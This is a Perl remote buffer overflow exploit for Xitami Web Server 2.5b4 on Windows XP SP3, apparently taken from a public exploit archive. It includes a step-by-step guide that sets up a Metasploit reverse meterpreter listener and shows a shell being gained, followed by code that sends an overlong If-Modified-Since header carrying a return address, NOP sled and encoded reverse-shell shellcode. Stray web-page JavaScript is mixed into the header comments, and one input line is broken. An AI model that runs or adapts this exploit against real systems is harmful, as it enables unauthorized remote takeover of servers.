#!/usr/bin/perl# ------------------------------------------------------------- |
# Xitami Web Server 2.5b4 - Remote Buffer Overflow Exploit. |
# Exploit coded by mr.pr0n [http://s3cure.gr] . |
# Many greetz to krumel for his help :-). |
# ------------------------------------------------------------- |
# ------------------------------------------------------------- |
# Tested on: Xitami 2.5b4 / English Windows XP - SP3 |
# ------------------------------------------------------------- |
# ------------------------------------------------------------------------ |
# Bug for 2.5c2 discovered by Krystian Kloskowski (h07) |
/* |
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})(); |
/* ]]> */ |
> |
# ------------------------------------------------------------------------- |
# |
# ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * |
# |
# -------------------------------- |
# Quick user guide! |
# -------------------------------- |
# 1st Step: Set up the listener. |
# -------------------------------- |
# msf > use multi/handler |
# msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_ord_tcp |
# PAYLOAD => windows/meterpreter/reverse_ord_tcp |
# msf exploit(handler) > set LHOST 192.168.178.25 |
# LHOST => 192.168.178.25 |
# msf exploit(handler) > exploit |
# |
# [*] Started reverse handler on 192.168.178.25:4444 |
# [*] Starting the payload handler... |
# |
# -------------------------------- |
# 2nd Step: Execute the exploit. |
# -------------------------------- |
# root@bt:~# cd Desktop/ |
# root@bt:~# ./Xitami2_5b4.pl |
# |
# #----[ mr.pr0n ]---------------------------------------------------------# |
# # Target App: Xitami Web Server 2.5b4 # |
# # Attack : Remote Buffer Overflow Exploit. # |
# # Target OS : Windows XP Pro English [Service Pack 3]. # |
# #---------------------------------------------[ http://s3cure.gr ]-------# |
# |
# Enter your target's IP (e.g.: 192.168.0.123) |
# > 192.168.178.37 |
# |
# [*] Sending the evil header at: 192.168.178.37 ... |
# [*] OK, exploitation Done! |
# [*] Check please for the shell... |
# |
# -------------------------------- |
# 3nd Step: N'joy your shell :-) |
# -------------------------------- |
# [*] Transmitting intermediate stager for over-sized stage...(216 bytes) |
# [*] Sending stage (749056 bytes) to 192.168.178.37 |
# [*] Meterpreter session 1 opened (192.168.178.25:4444 -> 192.168.178.37:1031) at 2011-05-31 02:13:33 +0300 |
# |
# meterpreter > sysinfo |
# Computer : xxxxxx-xxxxxx |
# OS : Windows XP (Build 2600, Service Pack 3). |
# Architecture : x86 |
# System Language : en_US |
# Meterpreter : x86/win32 |
# meterpreter > shell |
# Process 320 created. |
# Channel 1 created. |
# Microsoft Windows XP [Version 5.1.2600] |
# (C) Copyright 1985-2001 Microsoft Corp. |
# |
# C:\Xitami> |
# |
# ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * |
# |
use IO::Socket; |
print "\n#----[ mr.pr0n ]---------------------------------------------------------#\n"; |
print "# Target App: Xitami Web Server 2.5b4 #\n"; |
print "# Attack : Remote Buffer Overflow Exploit. #\n"; |
print "# Target OS : Windows XP Pro English [Service Pack 3]. #\n"; |
print "#---------------------------------------------[ http://s3cure.gr ]-------#\n"; |
print "\nEnter your target's IP (e.g.: 192.168.0.123)"; |
print "\n> "; |
$target= |
chomp($target); |
#---------------------------# |
$junk = "\x41" x 72; # 72 x "A". |
$RET = "\x53\x2b\xab\x71"; # ws2_32.dll push ESP - ret - (Windows XP SP3 - [En]). |
$jmp = "\xeb\x22"; # JMP +0x22. |
$nops = "\x90" x 100; # 100 Nops. |
#---------------------------# |
# ./msfpayload win32_reverse_ord EXITFUNC=thread LHOST=192.168.178.25 LPORT=4444 R | ./msfencode -e PexAlphaNum |
# [*] Using Msf::Encoder::PexAlphaNum with final size of 261 bytes |
$shellcode = |
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". |
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". |
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". |
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". |
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x41\x33\x4b\x4d". |
"\x46\x56\x4b\x48\x43\x34\x42\x43\x4b\x48\x42\x44\x4e\x30\x4b\x48". |
"\x42\x55\x4e\x31\x4b\x38\x44\x31\x4b\x48\x44\x37\x42\x42\x4d\x4a". |
"\x4d\x4a\x50\x54\x43\x50\x48\x30\x4d\x53\x44\x43\x43\x53\x4f\x45". |
"\x44\x33\x45\x37\x4f\x4e\x4b\x58\x4c\x36\x4a\x50\x4b\x58\x45\x54". |
"\x4e\x33\x4b\x38\x4e\x54\x45\x50\x4a\x47\x4b\x58\x4e\x44\x4d\x50". |
"\x4e\x41\x41\x30\x49\x4e\x4b\x58\x41\x34\x4a\x55\x41\x50\x4a\x4e". |
"\x4b\x48\x41\x57\x4e\x53\x41\x50\x50\x4e\x43\x50\x49\x36\x4e\x50". |
"\x43\x55\x4c\x46\x41\x30\x4c\x36\x44\x30\x4f\x4f\x42\x4d\x47\x39". |
"\x4a\x36\x42\x4c\x4a\x4a\x44\x4b\x49\x51\x4a\x36\x44\x50\x42\x50". |
"\x41\x31\x4e\x35\x49\x58\x41\x4e\x43\x35\x47\x4b\x4e\x50\x43\x35". |
"\x41\x45\x47\x55\x41\x45\x4c\x56\x42\x41\x41\x55\x47\x35\x48\x55". |
"\x4f\x4f\x45\x4e\x5a"; |
if ($socket = IO::Socket::INET->new |
(PeerAddr => $target, |
PeerPort => "80", |
Proto => "TCP")) |
|
{ |
$exploit = $junk.$RET.$jmp.$nops.$shellcode; |
# |
#---------------------------------# |
# If we send an If-Modified-Since header, |
# containing an overly long string (for example our exploit) |
# it may be possible to execute (remotely) a payload!! |
#---------------------------------# |
# |
# This is the evil header! }:-) |
$header = |
"GET / HTTP/1.1\r\n". |
"Host: ".$target." \r\n". |
"If-Modified-Since: p0wnp0wnb00m! "." $exploit\r\n"; |
print "\n[*] Sending the evil header at: $target ...\n"; |
print $socket $header."\r\n"; |
sleep(1); |
close($socket); |
print "[*] OK, exploitation Done!\n"; |
print "[*] Check please the shell..\n\n"; |
} |
else |
{ |
print "[-] Connection to $target failed!\n"; |
} 